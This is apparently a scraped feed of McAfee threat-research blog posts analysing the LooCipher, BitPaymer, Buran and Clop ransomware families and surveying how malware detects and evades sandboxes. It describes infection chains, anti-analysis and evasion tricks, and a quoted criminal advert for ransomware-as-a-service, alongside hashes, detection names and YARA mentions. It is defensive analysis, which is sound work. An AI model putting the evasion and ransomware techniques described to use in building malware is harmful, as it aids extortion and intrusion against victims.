4b4feffb0783aca42f0e9c38961340a76b4a2b3fd324f71e764a88ab500f1372 2019:12:27 18:55:35+01:00
5a022aba75d4986adedb1a5fb62fce8946d43f06846f663a851ba93e9e317f8c 2019:12:27 18:55:35+01:00
3ae7d44569b2885de360c0e6c3448772f74c1c3ff4ee3f594053a95bfc73850f 2019:12:27 18:55:35+01:00
42e9356feb10e5814fb73c6c8d702f010d4bd742e25550ae91413fa2a7e7c888 2019:12:27 18:55:35+01:00
bf6b8563773f7a05de33edcb1333d9e39e5bc60c91d111d3fb4ec7f5cfbb6c43 2019:12:28 03:06:43+01:00
842b92ed20115ff28fd5b8b204e80e88168594aa5ce44c288a560ec6f907516a 2019:12:28 03:06:43+01:00
eedefda5ff588f0b194b97a0244d6d3e4892b9a5f1539b33aa0fa86a47be7ea1 2019:12:28 03:06:43+01:00
d398280940af9fcb5aad2f0eb38d7b00b9d241ad1c4abfe3ca726accded70e2a 2019:12:29 09:38:39+01:00
6e18acc14f36010c4c07f022e853d25692687186169e50929e402c2adf2cb897 2020:01:07 10:57:37+00:00
8e056ccffad1f5315a38abf14bcd3a7b662b440bda6a0291a648edcc1819eca6 2020:01:18 12:03:36+01:00

The post Nemty Ransomware – Learning by Doing appeared first on McAfee Blogs.

]]> 0
Analysis of LooCipher, a New Ransomware Family Observed This Year Thu, 05 Dec 2019 15:00:19 +0000 /blogs/?p=97708

Initial Discovery This year seems to again be the year for ransomware. Notorious attacks were made using ransomware and new families are being detected almost on a weekly basis. The McAfee ATR team has now analyzed a new ransomware family with some special features we would like to showcase. LooCipher represents how a new actor […]

The post Analysis of LooCipher, a New Ransomware Family Observed This Year appeared first on McAfee Blogs.


Initial Discovery

This year seems to again be the year for ransomware. Notorious attacks were made using ransomware and new families are being detected almost on a weekly basis.

The McAfee ATR team has now analyzed a new ransomware family with some special features we would like to showcase. LooCipher represents how a new actor in an early stage of development used the same techniques of distribution as other players in the ransomware landscape. The design of the ransomware note reminded us of the old times of Cerber ransomware, a very well impacted design to force the user to pay the rescue.

Thanks to initiatives like the ‘No More Ransom’ project, one of the partners involved has already provided a valid decryptor to restore files encrypted by LooCipher.

McAfee Telemetry

Based on the data we manage, we detected LooCipher infections in the following regions:

Campaign Analysis:

Based on the analysis we performed, this ransomware was delivered through a DOC file. The content and techniques used with this MalDoc are quite simple compared to other doc files used to spread malware, such as Emotet. No special social engineering techniques were applied; the authors only put a simple message on it – “Enable macros”.

The file is prepared to download LooCipher from a remote server upon opening the file. We can see the Sub AutoOpen function as a macro in the document:

LooCipher will start its encryption routine using a predefined set of characters, creating a block of 16 bytes and using the local system hour:

The ransomware will use the AES-ECB encryption algorithm in the process and the key is the same for all the files which facilitates the file recovery process. Other ransomware families use a different key for each file to avoid the possibility of a brute force attack discovering the key used during the infection.

In the encryption process, the ransomware will avoid 3 special folders in the system so as to not break their functionality.

Encrypting key files and folders was one of the mistakes we highlighted in our analysis of LockerGoga; that ransomware was completely breaking the functionality of the system. Some binaries found were encrypting all the system, including the LockerGoga binary file.

Regarding the extensions that LooCipher will search and encrypt in the system, the list is hardcoded inside the binary:

It is quite interesting see how LooCipher searches for extensions that are not present in Windows systems like “.dmg.” This suggests that the authors may just be going to code sites to find extension lists.

In the analysis we found a PDB reference:


It is interesting to note that the reference found contains Spanish words, as if the user was using folders named in Spanish, however, the system is configured in English. We currently have no idea why this is so, but it is curious.

BTC payment is the method chosen by LooCipher authors to get money from the victims. So, at the end of the file’s encryption, the ransomware will show a rescue note to the user:

LooCipher decryptor will pop up in the system as well with a specific countdown:

In the ransom note LooCipher says the BTC address is specifically generated for the user but that is not true; all the BTC addresses we have seen are hardcoded in the binary:

This is another special characteristic for this ransomware. Normally, this workflow is providing an email address to contact the authors so they can provide the instructions to the victim, or at least a BTC address to make payment (if there is not a unique BTC address provided to every victim), something that is the main difference between RaaS and one-shot campaigns.

If we apply static analysis in the binaries we have, the same bundle of BTC addresses is included across most that we spot in the wild:

None of the BTC addresses found regarding LooCipher showed any transactions so we believe the authors did not monetize the campaign with the binaries we analyzed.

LooCipher and Network Traffic:

In the encryption process, LooCipher will contact the C2 server and send information about the victim:

The data sent to the server is:

Here, a copy of the network traffic could help the user to know the encryption key used.

Decryptor Fallback Mechanism Implemented by LooCipher

The LooCipher authors provide a fallback mechanism to help victims access the instructions and the decryptor again, in case they close the LooCipher window when it appears in the system after encrypting the files:

The mechanism sees the LooCipher binary uploaded to the Mega platform. In case the user wants to get the BTC address or decrypt the files after making the payment, they can download this binary and use it. If the files were previously encrypted by LooCipher they would not be encrypted again according to the ransomware’s authors.

I’m Infected by LooCipher. How Can I Get my Files Back?

McAfee is one of the founders and contributors of the ‘No More Ransom’ project. One of our fellow stakeholders created a decryptor for all the files encrypted by LooCipher:

So, if you are infected with LooCipher, it is possible get your files back.


LooCipher authors are not a sophisticated actor compared to other families like Ryuk, LockerGoga or REVil. They tried to spread their ransomware combining the infection with an Office file with a simple macro.

It will be impossible for the authors to come back to the scene if they do not change how the ransomware works.

The McAfee ATR Team advises against paying the ransomware demands and, instead, recommends:

  • Saving a copy of your encrypted files – sometimes in the future a decryptor may be released
  • Having a solid backup workflow in the company
  • Implementing best practices in terms of Cybersecurity


We uploaded a YARA rule to detect almost all the samples observed in the wild.

MITRE ATT&CK Coverage:

  • Hooking
  • Defense Evasion
  • Network Service Scanning
  • System Information Discovery
  • Data Compressed

McAfee Coverage:

  • Artemis!02ACC0BC1446
  • Artemis!12AA5517CB7C
  • Artemis!1B1335F20CD0
  • Artemis!362AB3B56F40
  • Artemis!64FCC1942288
  • Artemis!8F421FE340E7
  • Artemis!983EF1609696
  • Artemis!A11724DBE1D6
  • Artemis!A7ABF760411F
  • Artemis!B9246AA9B474
  • Artemis!F0D98A6809C1
  • McAfee-Ransom-O
  • Ransomware-GNY!3B9A8D299B2A
  • Ransomware-GNY!66571E3C8036
  • Ransomware-GNY!9CF3C9E4A9B5
  • Ransomware-GNY!A0609D7AD404
  • Ransomware-GNY!A77FDEFE40BE
  • Ransomware-GNY!A9B6521FF980
  • Ransomware-GNY!D3CE02AD4D75
  • Ransomware-GNY!DC645F572D1F
  • RDN/Generic Downloader.x
  • RDN/Generic.ole























































































The post Analysis of LooCipher, a New Ransomware Family Observed This Year appeared first on McAfee Blogs.

]]> 0
Spanish MSSP Targeted by BitPaymer Ransomware Fri, 08 Nov 2019 12:00:53 +0000

Initial Discovery This week the news hit that several companies in Spain were hit by a ransomware attack. Ransomware attacks themselves are not new but, by interacting with one of the cases in Spain, we want to highlight in this blog how well prepared and targeted an attack can be and how it appears to […]

The post Spanish MSSP Targeted by BitPaymer Ransomware appeared first on McAfee Blogs.


Initial Discovery

This week the news hit that several companies in Spain were hit by a ransomware attack. Ransomware attacks themselves are not new but, by interacting with one of the cases in Spain, we want to highlight in this blog how well prepared and targeted an attack can be and how it appears to be customized specifically against its victims.

In general, ransomware attacks are mass-spread attacks where adversaries try to infect many victims at the same time and cash out quickly. However, this has significantly changed over the past two years where more and more ransomware attacks are targeting high-value targets in all kinds of sectors.

Victims are infected with a different type of malware before the actual ransomware attack takes place. It looks like adversaries are using the infection base to select or purchase the most promising victims for further exploitation and ransomware, in a similar way to how the sale of Remote Desktop Access on underground forums or private Telegram channels is being used for victim selection for ransomware attacks.

In the following paragraphs, we will take you step by step through the modus operandi of the attack stages and most important techniques used and mapped against the MITRE ATT&CK Framework.

The overall techniques observed in the campaign and flow visualization:

Technical Analysis

The overall campaign is well known in the industry and the crew behind it came back to the scene reusing some of the TTPs observed one year ago and adding new ones like: privilege escalation, lateral movement and internal reconnaissance.

Patient 0 – T1189 Drive-by Compromise

The entry point for these types of campaigns starts with a URL that points the user to a fake website (in case the website is compromised) or a legitimate page (in case they decided to use a pay-per-install service) using social engineering techniques; the user gets tricked to download the desired application that will use frameworks like Empire or similar software to download and install next stage malware which, in this case, is Dridex.

First infection – T1090 Connection Proxy

These types of attacks are not limited to one type of malware; we have observed it being used by:

  • Azorult
  • Chthonic
  • Dridex

It is currently unclear why one would select one malware family above the other, but these tools allow for remote access into a victim’s network. This access can then be used by the actor as a launchpad to further exploit the victim’s network with additional malware, post-exploitation frameworks or the access can be sold online.

For quite some time now, Dridex’s behavior has changed from its original form. Less Dridex installs are linked to stealing banking info and more Dridex infections are becoming a precursor to a targeted ransomware attack.

This change or adaptation is something we have observed with other malware families as well.

For this campaign, the Dridex botnet used was 199:

Information Harvesting – T1003 Credential Dumping

From the infection, one or multiple machines are infected, and the next step is to collect as many credentials as they can to perform lateral movement. We observed the use of Mimikatz to collect (high privileged) credentials and re-use them internally to execute additional software in the Active Directory servers or other machines inside the network.

The use of Mimikatz is quite popular, having been observed in the modus operandi of more than 20 different threat actors.

Lateral Movement – T1086 PowerShell

The use of PowerShell helps attackers to automate certain things once they are in a network. In this case, we observed how Empire was used for different sock proxy PowerShell scripts to pivot inside the network:

Extracting information about the IP found in the investigation, we observed that the infrastructure for the Dridex C2 panels and this proxy sock was shared.

PowerShell was also used to find specific folders inside the infected systems:

A reason for an attacker to use a PowerShell based framework like Empire, is the use of different modules, like invoke-psexec or invoke-mimikatz, that can execute remote processes on other systems, or get credentials from any of the systems where it can run Mimikatz. When deployed right, these modules can significantly increase the speed of exploitation.

Once the attackers collected enough high privileged accounts and got complete control over the Active Directory, they would then distribute and execute ransomware on the complete network as the next step of their attack, in this case BitPaymer.

Ransomware Detonation – T1486 Data Encrypted for Impact

BitPaymer seemed to be the final objective of this attack. The actors behind BitPaymer invest time to know their victims and build a custom binary for each which includes the leet-speek name of the victim as the file extension for the encrypted files, i.e. “financials.<name_of_victim>”.

In the ransomware note, we observed the use of the company name too:


  • One of the remote proxy servers used in the operation shares the same infrastructure as one of the C2 panels used by Dridex.
  • We observed how a Dridex infection served as a launch point for an extensive compromise and BitPaymer ransomware infection.
  • Each binary of Bitpaymer is specially prepared for every single target, including the extension name and using the company name in the ransomware note.
  • Certain Dridex botnet IDs are seen in combination with targeted BitPaymer infections.
  • Companies must not ignore indicators of activity from malware like Dridex, Azorult or NetSupport; they could be a first indicator of other malicious activity to follow.
  • It is still unclear how the fake update link arrived at the users but in similar operations, SPAM campaigns were most likely used to deliver the first stage.

McAfee Coverage

Based on the indicators of compromise found, we successfully detect them with the following signatures:

  • RDN/Generic.hbg
  • Trojan-FRGC!7618CB3013C3
  • RDN/Generic.dx

The C2 IPs are tagged as a malicious in our GTI.

McAfee ATD Sandbox Detonation

Advanced Threat Detection (ATD) is a specialized appliance that identifies sophisticated and difficult to detect threats by executing suspicious malware in an isolated space, analyzing its behavior and assessing the impact it can have on an endpoint and on a network.

For this specific case, the ATD sandbox showcases the activity of Bitpaymer in a system:

We observe the use of icacls and takeown to change permissions inside the system and the living off the land techniques are commonly used by different type of malware.

ATD Sandbox extracted behavior signatures observing Bitpaymer detonation in the isolated environment:

Having the opportunity to detonate malware in this environment could give indicators about the threat types and their capabilities.

McAfee Real Protect

Analysis into the samples garnered from this campaign would have been detected by Real Protect. Real Protect is designed to detect zero-day malware in near real time by classifying it based on behavior and static analysis. Real Protect uses machine learning to automate classification and is a signature-less, small client footprint while supporting both offline mode and online mode of classification. Real Protect improves detection by up to 30% on top of .DAT and McAfee Global Threat Intelligence detections, while producing actionable threat intelligence.


We have a YARA rule available on our ATR GitHub repository to detect some of the versions of BitPaymer ransomware.


  • 3ab42ca8ce81f9df0c4f7cd807528c5dd0fb5108
  • 4862fbb188285586218cd96e69a2e4436827d2fe
  • c1ad6c3ab06fc527c048cd15c6fc701b5a74a900
  • 1d778359ab155cb190b9f2a7086c3bcb4082aa195ff8f754dae2d665fd20aa05
  • 628c181e6b9797d8356e43066ae182a45e6c37dbee28d9093df8f0825c342d4c
  • bd327754f879ff15b48fc86c741c4f546b9bbae5c1a5ac4c095df05df696ec4f
  • 0f630aaf8b5c4e958445ec0c2d5ec47e
  • 9b982fa4b42813279426449ddd6a1dbe
  • c46ad4159c90bc11d6d94a28458553d7

A special thanks to John Fokker and Christiaan Beek for their assistance with this blog.

The post Spanish MSSP Targeted by BitPaymer Ransomware appeared first on McAfee Blogs.

]]> 0
Buran Ransomware; the Evolution of VegaLocker Tue, 05 Nov 2019 17:37:32 +0000

McAfee’s Advanced Threat Research Team observed how a new ransomware family named ‘Buran’ appeared in May 2019. Buran works as a RaaS model like other ransomware families such as REVil, GandCrab (now defunct), Phobos, etc. The author(s) take 25% of the income earned by affiliates, instead of the 30% – 40%, numbers from notorious malware […]

The post Buran Ransomware; the Evolution of VegaLocker appeared first on McAfee Blogs.


McAfee’s Advanced Threat Research Team observed how a new ransomware family named ‘Buran’ appeared in May 2019. Buran works as a RaaS model like other ransomware families such as REVil, GandCrab (now defunct), Phobos, etc. The author(s) take 25% of the income earned by affiliates, instead of the 30% – 40%, numbers from notorious malware families like GandCrab, and they are willing to negotiate that rate with anyone who can guarantee an impressive level of infection with Buran. They announced in their ads that all the affiliates will have a personal arrangement with them.

For this analysis we present, we will focus on one of the Buran hashes:

We will highlight the most important observations when researching the malware and will share protection rules for the endpoint, IOCs and a YARA rule to detect this malware.

Buran Ransomware Advertisement

This ransomware was announced in a well-known Russian forum with the following message:


Buran is a stable offline cryptoclocker, with flexible functionality and support 24/7.


Reliable cryptographic algorithm using global and session keys + random file keys;
Scan all local drives and all available network paths;
High speed: a separate stream works for each disk and network path;
Skipping Windows system directories and browser directories;
Decryptor generation based on an encrypted file;
Correct work on all OSs from Windows XP, Server 2003 to the latest;
The locker has no dependencies, does not use third-party libraries, only mathematics and vinapi;

The completion of some processes to free open files (optional, negotiated);
The ability to encrypt files without changing extensions (optional);
Removing recovery points + cleaning logs on a dedicated server (optional);
Standard options: tapping, startup, self-deletion (optional);
Installed protection against launch in the CIS segment.


They are negotiated individually for each advert depending on volumes and material.

Start earning with us!


The announcement says that Buran is compatible with all versions of the Windows OS’s (but during our analysis we found how, in old systems like Windows XP, the analyzed version did not work) and Windows Server and, also, that they will not infect any region inside the CIS segment. Note: The CIS segment belongs to ten former Soviet Republics: Armenia, Belarus, Kazakhstan, Kyrgyzstan, Moldova, Russia, Tajikistan, Turkmenistan, Ukraine, and Uzbekistan.

Rig Exploit Kit as an Entry Vector

Based upon the investigation we performed, as well as research by “nao_sec” highlighted in June 2019, we discovered how Buran ransomware was delivered through the Rig Exploit Kit. It is important to note how the Rig Exploit Kit is the preferred EK used to deliver the latest ransomware campaigns.


The Rig Exploit Kit was using CVE-2018-8174 (Microsoft Internet Explorer VBScript Engine, Arbitrary Code Execution) to exploit in the client-side. After successful exploitation this vulnerability will deliver Buran ransomware in the system.

Static Analysis

The main packer and the malware were written in Delphi to make analysis of the sample more complicated. The malware sample is a 32-bit binary.


In our analysis we detected two different versions of Buran, the second with improvements compared to the first one released.


The goal of the packer is to decrypt the malware making a RunPE technique to run it from memory. To obtain a cleaner version of the sample we proceed to dump the malware from the memory, obtaining an unpacked version.

Country Protection

Checking locales has become quite popular in RaaS ransomware as authors want to ensure they do not encrypt data in certain countries. Normally we would expect to see more former CIS countries but, in this case, only three are verified.


This function gets the system country and compares it with 3 possible results:

  • 0x177 -> BELARUS
  • 0x17C -> UKRAINE

It is important to note here that the advertising of the malware in the forums said it does not affect CIS countries but, with there being 10 nations in the region, that is obviously not entirely accurate.

If the system is determined to be in the Russian Federation, Belarus or Ukraine the malware will finish with an “ExitProcess”.

The next action is to calculate a hash based on its own path and name in the machine. With the hash value of 32-bits it will make a concat with the extension “.buran”. Immediately after, it will create this file in the temp folder of the victim machine. Importantly, if the malware cannot create or write the file in the TEMP folder it will finish the execution; the check will be done extracting the date of the file.


If the file exists after the check performed by the malware, the temporary file will be erased through the API “DeleteFileW”.


This function can be used as a kill switch to avoid infection by Buran.

Buran ransomware could accept special arguments in execution. If it is executed without any special argument, it will create a copy of Buran with the name “ctfmon.exe” in the Microsoft APPDATA folder and will launch it using ShellExecute, with the verb as “runas”. This verb is not in the official Microsoft SDK but, if we follow the MSDN documentation to learn how it works, we can deduce that the program will ignore its own manifest and prompt the UAC to the user if the protection is enabled.

This behavior could change depending on the compilation options chosen by the authors and delivered to the affiliates.

According to the documentation, the function “CreateProcess” checks the manifest, however in Buran, this is avoided due to that function:


Buran in execution will create a registry key in the Run subkey section pointing to the new instance of the ransomware with a suffix of ‘*’. The meaning of this value is that Buran will run in safe mode too:


The writing operation in the registry is done using the “reg” utility, using a one-liner and concatenating different options with the “&” symbol. This method through “reg.exe” avoids a breakpoint in the main binary.


Buran implements this technique with the objective of making analysis of the sample complicated for malware analysts looking at reverse engineering profiles. After these operations, the old instance of the ransomware will die using “Exit Process”.

Analysis of the Delphi code show that the 2nd version of Buran will identify the victim using random values.


After that it will decrypt a registry subkey called “Software\Buran\Knock” in the HKEY_CURRENT_USER hive. For the mentioned key it will check the actual data of it and, if the key does not exist, it will add the value 0x29A (666) to it. Interestingly, we discovered that GandCrab used the same value to generate the ransom id of the victim. If the value and subkey exists the malware will continue in the normal flow; if not, it will decrypt a URL ,“”, and make a connection to this domain using a special user agent:


As mentioned, the referrer will be the victim identifier infected with Buran.

The result of this operation is the writing of the subkey previously checked with the value 0x29A, to avoid repeating the same operation.

After this action the malware will enumerate all network shares with the functions :

  • WNetOpenEnumA,
  • WNetEnumResourceA
  • WNetCloseEnum

This call is made in a recursive way, to get and save all discovered shared networks in a list. This process is necessary if Buran wants to encrypt all the network shares as an addition to the logical drives. Buran will avoid enumerating optical drives and other non-mounted volumes. The result of those operations will be saved for Buran to use later in the encryption process.

The ransom note is crypted inside the binary and will be dumped in execution to the victim’s machine. Inside this ransom note, the user will find their victim identifier extracted with the random Delphi function mentioned earlier. This identification is necessary to track their infected users to affiliates to deliver the decryptor after the payment is made.

In the analysis of Buran, we found how this ransomware blacklists certain files and folders. This is usually a mechanism to ensure that the ransomware does not break its functionality or performance.

Blacklisted folders in Buran:

Blacklisted files in Buran:

The encryption process will start with special folders in the system like the Desktop folder. Buran can use threads to encrypt files and during the process will encrypt the drive letters and folders grabbed before in the recognition process.

The ransom note will be written to disk with the name “!!! YOUR FILES ARE ENCRYPTED !!!” with the following content:


Each file crypted is renamed to the same name as before but with the new extension of the random values too.

For example: “rsa.bin.4C516831-800A-6ED2-260F-2EAEDC4A8C45”.

All the files encrypted by Buran will contain a specific filemarker:


In terms of encryption performance, we found Buran slower compared to other RaaS families. According to the authors’ advertisement in the underground forums, they are continually improving their piece of ransomware.

Buran Version 1 vs Buran Version 2

In our research we identified two different versions of Buran. The main differences between them are:

Shadow copies delete process:

In the 2nd version of Buran one of the main things added is the deletion of the shadow copies using WMI.

Backup catalog deletion:

Another feature added in the new version is the backup catalog deletion. It is possible to use the Catalog Recovery Wizard to recover a local backup catalog.

System state backup deletion:

In the same line of system destruction, we observed how Buran deletes in execution the system state backup in the system:

Ping used as a sleep method:

As a poor anti-evasion technique, Buran will use ping through a ‘for loop’ in order to ensure the file deletion system.

The ransom note changed between versions:

VegaLocker, Jumper and Now Buran Ransomware

Despite the file marker used, based on the behavior, TTPs and artifacts in the system we could identify that Buran is an evolution of the Jumper ransomware. VegaLocker is the origin for this malware family.

Malware authors evolve their malware code to improve it and make it more professional. Trying to be stealthy to confuse security researchers and AV companies could be one reason for changing its name between revisions.

This is the timeline of this malware family:

Similarities in Behavior:

Files stored in the temp folder:




Registry changes:



Extension overlapping:

In one of the variants (Jumper) it is possible to spot some samples using both extensions:

  • .vega
  • .jamper

Shadow copies, backup catalog and systembackup:

In the analyzed samples we saw how VegaLocker used the same methods to delete the shadow copies, backup catalog and the systembackup.


  • RDN/Ransom
  • Ransomware-GOS!E60E767E33AC
  • Ransom
  • RDN/Ransom
  • RDN/
  • Ransom-Buran!

Expert Rule:

Indicators of Compromise


The sample uses the following MITRE ATT&CK™ techniques:

  • Disabling Security Tools
  • Email Collection
  • File and Directory Discovery
  • File Deletion
  • Hooking
  • Kernel Modules and Extensions
  • Masquerading
  • Modify Registry
  • Network Service Scanning
  • Peripheral Device Discovery
  • Process Injection
  • Query Registry
  • Registry Run Keys / Start Folder
  • Remote Desktop Protocol
  • Remote System Discovery
  • Service Execution
  • System Time Discovery
  • Windows Management Instrumentation


We created a YARA rule to detect Buran ransomware samples and the rule is available in our GitHub repository


Buran represents an evolution of a well-known player in the ransomware landscape. VegaLocker had a history of infections in companies and end-users and the malware developers behind it are still working on new features, as well as new brands, as they continue to generate profits from those actions. We observed new versions of Buran with just a few months between them in terms of development, so we expect more variants from the authors in the future and, perhaps, more brand name changes if the security industry puts too much focus on them. We are observing an increase in ransomware families in 2019, as well as old players in the market releasing new versions based on their own creations.

For the binaries, all of them appeared with a custom packer and already came with interesting features to avoid detection or to ensure the user must pay due to the difficulty of retrieving the files. It mimics some features from the big players and we expect the inclusion of more features in future developments.

Buran is slower than other ransomware families we observed, and samples are coded in Delphi which makes reverse engineering difficult.

The post Buran Ransomware; the Evolution of VegaLocker appeared first on McAfee Blogs.

]]> 0
Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study Mon, 09 Sep 2019 19:05:58 +0000

Executive Summary Malware evasion techniques are widely used to circumvent detection as well as analysis and understanding. One of the dominant categories of evasion is anti-sandbox detection, simply because today’s sandboxes are becoming the fastest and easiest way to have an overview of the threat. Many companies use these kinds of systems to detonate malicious […]

The post Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study appeared first on McAfee Blogs.


Executive Summary

Malware evasion techniques are widely used to circumvent detection as well as analysis and understanding. One of the dominant categories of evasion is anti-sandbox detection, simply because today’s sandboxes are becoming the fastest and easiest way to have an overview of the threat. Many companies use these kinds of systems to detonate malicious files and URLs found, to obtain more indicators of compromise to extend their defenses and block other related malicious activity. Nowadays we understand security as a global process, and sandbox systems are part of this ecosystem, and that is why we must take care with the methods used by malware and how we can defeat it.

Historically, sandboxes had allowed researchers to visualize the behavior of malware accurately within a short period of time. As the technology evolved over the past few years, malware authors started producing malicious code that delves much deeper into the system to detect the sandboxing environment.

As sandboxes became more sophisticated and evolved to defeat the evasion techniques, we observed multiple strains of malware that dramatically changed their tactics to remain a step ahead. In the following sections, we look back on some of the most prevalent sandbox evasion techniques used by malware authors over the past few years and validate the fact that malware families extended their code in parallel to introducing more stealthier techniques.

The following diagram shows one of the most prevalent sandbox evasion tricks we will discuss in this blog, although many others exist.

Delaying Execution

Initially, several strains of malware were observed using timing-based evasion techniques [latent execution], which primarily boiled down to delaying the execution of the malicious code for a period using known Windows APIs like NtDelayExecution, CreateWaitTableTImer, SetTimer and others. These techniques remained popular until sandboxes started identifying and mitigating them.


As sandboxes identified malware and attempted to defeat it by accelerating code execution, it resorted to using acceleration checks using multiple methods. One of those methods, used by multiple malware families including Win32/Kovter, was using Windows API GetTickCount followed by a code to check if the expected time had elapsed. However, we observed several variations of this method across malware families.

This anti-evasion technique could be easily bypassed by the sandbox vendors simply creating a snapshot with more than 20 minutes to have the machine running for more time.

API Flooding

Another approach that subsequently became more prevalent, observed with Win32/Cutwail malware, is calling the garbage API in the loop to introduce the delay, dubbed API flooding. Below is the code from the malware that shows this method.



Inline Code

We observed how this code resulted in a DOS condition since sandboxes could not handle it well enough. On the other hand, this sort of behavior is not too difficult to detect by more involved sandboxes. As they became more capable of handling the API based stalling code, yet another strategy to achieve a similar objective was to introduce inline assembly code that waited for more than 5 minutes before executing the hostile code. We found this technique in use as well.

Sandboxes are now much more capable and armed with code instrumentation and full system emulation capabilities to identify and report the stalling code. This turned out to be a simplistic approach which could sidestep most of the advanced sandboxes. In our observation, the following depicts the growth of the popular timing-based evasion techniques used by malware over the past few years.

Hardware Detection

Another category of evasion tactic widely adopted by malware was fingerprinting the hardware, specifically a check on the total physical memory size, available HD size / type and available CPU cores.

These methods became prominent in malware families like Win32/Phorpiex, Win32/Comrerop, Win32/Simda and multiple other prevalent ones. Based on our tracking of their variants, we noticed Windows API DeviceIoControl() was primarily used with specific Control Codes to retrieve the information on Storage type and Storage Size.

Ransomware and cryptocurrency mining malware were found to be checking for total available physical memory using a known GlobalMemoryStatusEx () trick. A similar check is shown below.

Storage Size check:

Illustrated below is an example API interception code implemented in the sandbox that can manipulate the returned storage size.

Subsequently, a Windows Management Instrumentation (WMI) based approach became more favored since these calls could not be easily intercepted by the existing sandboxes.

Here is our observed growth path in the tracked malware families with respect to the Storage type and size checks.

CPU Temperature Check

Malware authors are always adding new and interesting methods to bypass sandbox systems. Another check that is quite interesting involves checking the temperature of the processor in execution.

A code sample where we saw this in the wild is:

The check is executed through a WMI call in the system. This is interesting as the VM systems will never return a result after this call.

CPU Count

Popular malware families like Win32/Dyreza were seen using the CPU core count as an evasion strategy. Several malware families were initially found using a trivial API based route, as outlined earlier. However, most malware families later resorted to WMI and stealthier PEB access-based methods.

Any evasion code in the malware that does not rely on APIs is challenging to identify in the sandboxing environment and malware authors look to use it more often. Below is a similar check introduced in the earlier strains of malware.

There are number of ways to get the CPU core count, though the stealthier way was to access the PEB, which can be achieved by introducing inline assembly code or by using the intrinsic functions.

One of the relatively newer techniques to get the CPU core count has been outlined in a blog, here. However, in our observations of the malware using CPU core count to evade automated analysis systems, the following became adopted in the outlined sequence.

User Interaction

Another class of infamous techniques malware authors used extensively to circumvent the sandboxing environment was to exploit the fact that automated analysis systems are never manually interacted with by humans. Conventional sandboxes were never designed to emulate user behavior and malware was coded with the ability to determine the discrepancy between the automated and the real systems. Initially, multiple malware families were found to be monitoring for Windows events and halting the execution until they were generated.

Below is a snapshot from a Win32/Gataka variant using GetForeGroundWindow and checking if another call to the same API changes the Windows handle. The same technique was found in Locky ransomware variants.

Below is another snapshot from the Win32/Sazoora malware, checking for mouse movements, which became a technique widely used by several other families.

Malware campaigns were also found deploying a range of techniques to check historical interactions with the infected system. One such campaign, delivering the Dridex malware, extensively used the Auto Execution macro that triggered only when the document was closed. Below is a snapshot of the VB code from one such campaign.

The same malware campaign was also found introducing Registry key checks in the code for MRU (Most Recently Used) files to validate historical interactions with the infected machine. Variations in this approach were found doing the same check programmatically as well.

MRU check using Registry key: \HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU

Programmatic version of the above check:

Here is our depiction of how these approaches gained adoption among evasive malware.

Environment Detection

Another technique used by malware is to fingerprint the target environment, thus exploiting the misconfiguration of the sandbox. At the beginning, tricks such as Red Pill techniques were enough to detect the virtual environment, until sandboxes started to harden their architecture. Malware authors then used new techniques, such as checking the hostname against common sandbox names or the registry to verify the programs installed; a very small number of programs might indicate a fake machine. Other techniques, such as checking the filename to detect if a hash or a keyword (such as malware) is used, have also been implemented as has detecting running processes to spot potential monitoring tools and checking the network address to detect blacklisted ones, such as AV vendors.

Locky and Dridex were using tricks such as detecting the network.

Using Evasion Techniques in the Delivery Process

In the past few years we have observed how the use of sandbox detection and evasion techniques have been increasingly implemented in the delivery mechanism to make detection and analysis harder. Attackers are increasingly likely to add a layer of protection in their infection vectors to avoid burning their payloads. Thus, it is common to find evasion techniques in malicious Word and other weaponized documents.

McAfee Advanced Threat Defense

McAfee Advanced Threat Defense (ATD) is a sandboxing solution which replicates the sample under analysis in a controlled environment, performing malware detection through advanced Static and Dynamic behavioral analysis. As a sandboxing solution it defeats evasion techniques seen in many of the adversaries. McAfee’s sandboxing technology is armed with multiple advanced capabilities that complement each other to bypass the evasion techniques attempted to the check the presence of virtualized infrastructure, and mimics sandbox environments to behave as real physical machines. The evasion techniques described in this paper, where adversaries widely employ the code or behavior to evade from detection, are bypassed by McAfee Advanced Threat Defense sandbox which includes:

  • Usage of windows API’s to delay the execution of sample, hard disk size, CPU core numbers and other environment information .
  • Methods to identify the human interaction through mouse clicks , keyboard strokes , Interactive Message boxes.
  • Retrieval of hardware information like hard disk size , CPU numbers, hardware vendor check through registry artifacts.
  • System up time to identify the duration of system alive state.
  • Check for color bit and resolution of Windows .
  • Recent documents and files used.

In addition to this, McAfee Advanced Threat Defense is equipped with smart static analysis engines as well as machine-learning based algorithms that play a significant detection role when samples detect the virtualized environment and exit without exhibiting malware behavior. One of McAfee’s flagship capability, the Family Classification Engine, works on assembly level and provides significant traces once a sample is loaded in memory, even though the sandbox detonation is not completed, resulting in enhanced detection for our customers.


Traditional sandboxing environments were built by running virtual machines over one of the available virtualization solutions (VMware, VirtualBox, KVM, Xen) which leaves huge gaps for evasive malware to exploit.

Malware authors continue to improve their creations by adding new techniques to bypass security solutions and evasion techniques remain a powerful means of detecting a sandbox. As technologies improve, so also do malware techniques.

Sandboxing systems are now equipped with advanced instrumentation and emulation capabilities which can detect most of these techniques. However, we believe the next step in sandboxing technology is going to be the bare metal analysis environment which can certainly defeat any form of evasive behavior, although common weaknesses will still be easy to detect.

The post Evolution of Malware Sandbox Evasion Tactics – A Retrospective Study appeared first on McAfee Blogs.

]]> 0
Clop Ransomware Thu, 01 Aug 2019 16:01:06 +0000

This new ransomware was discovered by Michael Gillespie on 8 February 2019 and it is still improving over time. This blog will explain the technical details and share information about how this new ransomware family is working. There are some variants of the Clop ransomware but in this report, we will focus on the main […]

The post Clop Ransomware appeared first on McAfee Blogs.


This new ransomware was discovered by Michael Gillespie on 8 February 2019 and it is still improving over time. This blog will explain the technical details and share information about how this new ransomware family is working. There are some variants of the Clop ransomware but in this report, we will focus on the main version and highlight part of those variations. The main goal of Clop is to encrypt all files in an enterprise and request a payment to receive a decryptor to decrypt all the affected files. To achieve this, we observed some new techniques being used by the author that we have not seen before. Clearly over the last few months we have seen more innovative techniques appearing in ransomware.

Clop Overview

The Clop ransomware is usually packed to hide its inner workings. The sample we analyzed was also signed with the following certificate in the first version (now revoked):

FIGURE 1. Packer signed to avoid av programs and mislead the user

Signing a malicious binary, in this case ransomware, may trick security solutions to trust the binary and let it pass. Although this initial certificate was revoked in a few days, another version appeared soon after with another certificate:

FIGURE 2. New certificate in new version

